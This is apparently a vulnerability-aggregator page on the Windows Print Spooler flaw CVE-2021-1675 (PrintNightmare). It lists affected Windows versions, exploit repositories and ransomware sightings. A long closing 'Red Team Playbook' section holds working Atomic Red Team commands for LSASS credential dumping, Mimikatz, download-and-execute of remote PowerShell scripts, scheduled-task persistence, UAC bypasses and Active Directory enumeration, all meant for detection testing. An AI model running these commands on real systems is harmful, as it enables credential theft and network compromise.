CVE-2021-1675
Overview
This vulnerability is a remote code execution flaw rooted in improper access control within the Windows Print Spooler service. The flaw arises from the Print Spooler's failure to correctly validate privileged operations, allowing unauthorized remote interactions with the spooler’s internal interfaces. Specifically, the vulnerability affects the Print Spooler component responsible for managing print jobs and printer drivers on affected Windows 10 versions.
Vulnerability Description
Windows Print Spooler Remote Code Execution Vulnerability
Impact
An attacker with network access to the Print Spooler service can execute arbitrary code remotely with SYSTEM privileges without requiring user interaction or authentication. This enables full system compromise, including installation of persistent malware, data exfiltration, and lateral movement within a network. The vulnerability can be exploited by a low-privileged attacker or an unauthenticated remote adversary, significantly increasing the risk of widespread compromise in enterprise environments.
Solution
Microsoft has released security updates addressing this vulnerability for Windows 10 versions 1507 through 2004, detailed in the Microsoft Security Advisory available at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1675. Administrators should apply the latest cumulative updates for Windows 10 Version 1809 and other affected versions. As a temporary mitigation, disabling the Print Spooler service on systems where it is not required is recommended until patches are applied.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (17)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Windows 10 1507 | All |
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 1607 | All |
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 1809 | All |
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 1909 | All |
cpe:2.3:o:microsoft:windows_10_1909:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 2004 | All |
cpe:2.3:o:microsoft:windows_10_2004:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 20h2 | All |
cpe:2.3:o:microsoft:windows_10_20h2:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 21h1 | All |
cpe:2.3:o:microsoft:windows_10_21h1:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 7 | N/A |
cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*
|
|
|
Microsoft | Windows 8.1 | N/A |
cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Rt 8.1 | N/A |
cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2004 | All |
cpe:2.3:o:microsoft:windows_server_2004:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2008 | N/A |
cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2008 | r2 |
cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*
|
|
|
Microsoft | Windows Server 2012 | N/A |
cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2012 | r2 |
cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2016 | All |
cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2019 | All |
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Print Spooler Remote DLL Injection
exploits/windows/dcerpc/cve_2021_1675_printnightmare
|
Zhiniang Peng, Xuefeng Li, Zhipeng Huo +5 | Unknown | - | View |
GitHub PoCs (55)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
cube0x0/CVE-2021-1675
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
|
cube0x0 | 2003 | 572 | 2021-06-29 | View |
|
calebstewart/CVE-2021-1675
Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)
|
calebstewart | 1108 | 223 | 2021-07-01 | View |
|
hlldz/CVE-2021-1675-LPE
Local Privilege Escalation Edition for CVE-2021-1675/CVE-2021-34527
|
hlldz | 324 | 75 | 2021-07-01 | View |
|
LaresLLC/CVE-2021-1675
CVE-2021-1675 Detection Info
|
LaresLLC | 214 | 38 | 2021-06-30 | View |
|
ly4k/PrintNightmare
Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
|
ly4k | 215 | 33 | 2021-09-26 | View |
|
mstxq17/CVE-2021-1675_RDL_LPE
PrintNightMare LPE提权漏洞的CS 反射加载插件。开箱即用、通过内存加载、混淆加载的驱动名称来ByPass Defender/EDR。
|
mstxq17 | 144 | 20 | 2021-09-01 | View |
|
sailay1996/PrintNightmare-LPE
CVE-2021-1675 (PrintNightmare)
|
sailay1996 | 75 | 27 | 2021-07-05 | View |
|
evilashz/CVE-2021-1675-LPE-EXP
PrintNightmare , Local Privilege Escalation of CVE-2021-1675 or CVE-2021-34527
|
evilashz | 56 | 17 | 2021-07-01 | View |
|
cybersecurityworks553/CVE-2021-1675_PrintNightMare
|
cybersecurityworks553 | 23 | 13 | 2021-07-01 | View |
|
JumpsecLabs/PrintNightmare
Information on the Windows Spooler vulnerability - CVE-2021-1675; CVE 2021 34527
|
JumpsecLabs | 19 | 7 | 2021-07-07 | View |
|
eversinc33/NimNightmare
CVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)
|
eversinc33 | 18 | 5 | 2021-12-05 | View |
|
Wra7h/SharpPN
C# PrintNightmare (CVE-2021-1675)
|
Wra7h | 9 | 9 | 2021-09-26 | View |
|
k8gege/cve-2021-1675
|
k8gege | 15 | 3 | 2021-07-11 | View |
|
corelight/CVE-2021-1675
|
corelight | 9 | 4 | 2021-07-02 | View |
|
Leonidus0x10/CVE-2021-1675-SCANNER
Vulnerability Scanner for CVE-2021-1675/PrintNightmare
|
Leonidus0x10 | 9 | 3 | 2021-07-02 | View |
|
exploitblizzard/PrintNightmare-CVE-2021-1675
Youtube : https://youtu.be/Zr0KjYDSFKQ
|
exploitblizzard | 5 | 2 | 2021-07-04 | View |
|
AndrewTrube/CVE-2021-1675
PrintNightmare Local Privilege Escalation
|
AndrewTrube | 5 | 1 | 2022-01-30 | View |
|
hahaleyile/my-CVE-2021-1675
see https://github.com/cube0x0/CVE-2021-1675
|
hahaleyile | 3 | 3 | 2021-07-22 | View |
|
puckiestyle/CVE-2021-1675
|
puckiestyle | 1 | 5 | 2021-07-01 | View |
|
thomasgeens/CVE-2021-1675
|
thomasgeens | 3 | 2 | 2021-07-02 | View |
|
kondah/patch-cve-2021-1675
|
kondah | 2 | 2 | 2021-06-30 | View |
|
OppressionBreedsResistance/CVE-2021-1675-PrintNightmare
Working PowerShell POC
|
OppressionBreedsResistance | 1 | 3 | 2021-10-05 | View |
|
yu2u/CVE-2021-1675
CVE-2021-1675 exploit
|
yu2u | 2 | 1 | 2021-06-29 | View |
|
killtr0/CVE-2021-1675-PrintNightmare
|
killtr0 | 2 | 1 | 2021-07-02 | View |
|
bartimusprimed/CVE-2021-1675-Yara
|
bartimusprimed | 2 | 1 | 2021-07-08 | View |
|
tanarchytan/CVE-2021-1675
Fix without disabling Print Spooler
|
tanarchytan | 0 | 3 | 2021-07-01 | View |
|
ozergoker/PrintNightmare
Windows Print Spooler Service RCE CVE-2021-1675 (PrintNightmare)
|
ozergoker | 2 | 1 | 2021-07-03 | View |
|
TheJoyOfHacking/calebstewart-CVE-2021-1675
|
TheJoyOfHacking | 2 | 0 | 2022-02-22 | View |
|
Winter3un/CVE-2021-1675
|
Winter3un | 1 | 1 | 2021-07-20 | View |
|
zha0/Microsoft-CVE-2021-1675
|
zha0 | 0 | 2 | 2021-07-18 | View |
|
pentagon404uzb/CVE-2021-1675-Local-Privilege-Escalation-CVSS-7.8-
|
pentagon404uzb | 1 | 0 | 2026-09-25 | View |
|
DLL00P/CVE-2021-1675
|
DLL00P | 1 | 0 | 2025-07-29 | View |
|
mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery
|
mrezqi | 0 | 1 | 2021-07-02 | View |
|
kougyokugentou/CVE-2021-1675
A small powershell script to disable print spooler service using desired state configuration
|
kougyokugentou | 0 | 1 | 2021-07-02 | View |
|
initconf/cve-2021-1675-printnightmare
to catch cve-2021-1675-printnightmare
|
initconf | 0 | 1 | 2021-07-03 | View |
|
ccordeiro/CVE-2021-1675
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
|
ccordeiro | 0 | 1 | 2025-11-19 | View |
|
whoami-chmod777/CVE-2021-1675-CVE-2021-34527
|
whoami-chmod777 | 1 | 0 | 2024-02-12 | View |
|
ptter23/CVE-2021-1675
CVE-2021-1675: ZERO-DAY VULNERABILITY IN WINDOWS PRINTER SERVICE WITH AN EXPLOIT AVAILABLE IN ALL OPERATING SYSTEM VERSI...
|
ptter23 | 0 | 1 | 2021-07-02 | View |
|
peckre/PNCVE-Win10-20H2-Exploit
A one-click script to gain a System privileges command line in Windows 10 20H2 that exploits CVE-2021-1675
|
peckre | 1 | 0 | 2024-01-17 | View |
|
edsonjt81/CVE-2021-1675
|
edsonjt81 | 0 | 1 | 2021-07-05 | View |
|
HKenzoKimura/CVE-2021-1675
Simulated PoC — PrintNightmare Windows Print Spooler RCE/LPE (CVE-2021-1675 + CVE-2021-34527). Non-functional payload fo...
|
HKenzoKimura | 0 | 0 | 2026-09-06 | View |
|
TheJoyOfHacking/cube0x0-CVE-2021-1675
|
TheJoyOfHacking | 0 | 0 | 2022-02-22 | View |
|
VelesSecurity/CVE-2021-1675-PrintNightmare-Analysis
|
VelesSecurity | 0 | 0 | 2026-08-18 | View |
|
kaiw-icspark25/PrintNightmare-CVE-2021-1675-Analysis
|
kaiw-icspark25 | 0 | 0 | 2026-07-20 | View |
|
thalpius/microsoft-cve-2021-1675
|
thalpius | 0 | 0 | 2021-07-16 | View |
|
r1skkam/PrintNightmare
Learn about the vulnerability known as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527)
|
r1skkam | 0 | 0 | 2022-12-28 | View |
|
whoami-chmod777/CVE-2021-1675---PrintNightmare-LPE-PowerShell-
|
whoami-chmod777 | 0 | 0 | 2024-02-12 | View |
|
0xSs0rZ/Windows_Exploit
CVE-2021-1675/CVE-2021-34527 PrintNightmare & CVE-2020-0668
|
0xSs0rZ | 0 | 0 | 2024-06-05 | View |
|
galoget/PrintNightmare-CVE-2021-1675-CVE-2021-34527
CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python, C# and PowerShell Exploits Implementations (LPE & RCE)
|
galoget | 0 | 0 | 2021-07-12 | View |
|
Sp4ceDogy/NPE-CS-V-CVE-2021-1675
|
Sp4ceDogy | 0 | 0 | 2025-03-10 | View |
|
000Tonio/cve-2021-1675
|
000Tonio | 0 | 0 | 2023-10-19 | View |
|
VoiidByte/Impacket
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
|
VoiidByte | 0 | 0 | 2025-08-24 | View |
|
thalpius/Microsoft-CVE-2021-1675
|
thalpius | 0 | 0 | 2021-07-16 | View |
|
CameraShutterBug/PrintNightmare
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
|
CameraShutterBug | 0 | 0 | 2025-07-24 | View |
|
GlacierGossip/PrintNightmare
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
|
GlacierGossip | 0 | 0 | 2025-08-05 | View |
Ransomware Groups 2
Threat Feed
55 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, EDRSandBlast, EasyUpload.io, Evilginx, Kali Linux (2304 known victims)
Ransomware group known to exploit this vulnerability. Tools: ADFind, AnyDesk, BloodHound, Censys, CertiHound (868 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, AnyDesk, Atera, BITSAdmin, Cloudflared (517 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
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Sighting activity recorded
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Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability (2 known victims)
Sighting activity recorded
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Sighting activity recorded
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Sighting activity recorded
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Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Cobalt Strike, FileZilla, PsExec (36 known victims)
Ransomware group known to exploit this vulnerability (26 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability (80 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
78 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;
public class TopinambourDropper {
public static void unpack_p(string sourceExe) {
string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
File.Copy(sourceExe, dropPath, true);
}
public static void make_some_noise() {
ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR \"%localappdata%\\VirtualStore\\certcheck.exe\" /TN VerifiedPublisherCertCheck /F")
{
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo).WaitForExit();
}
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
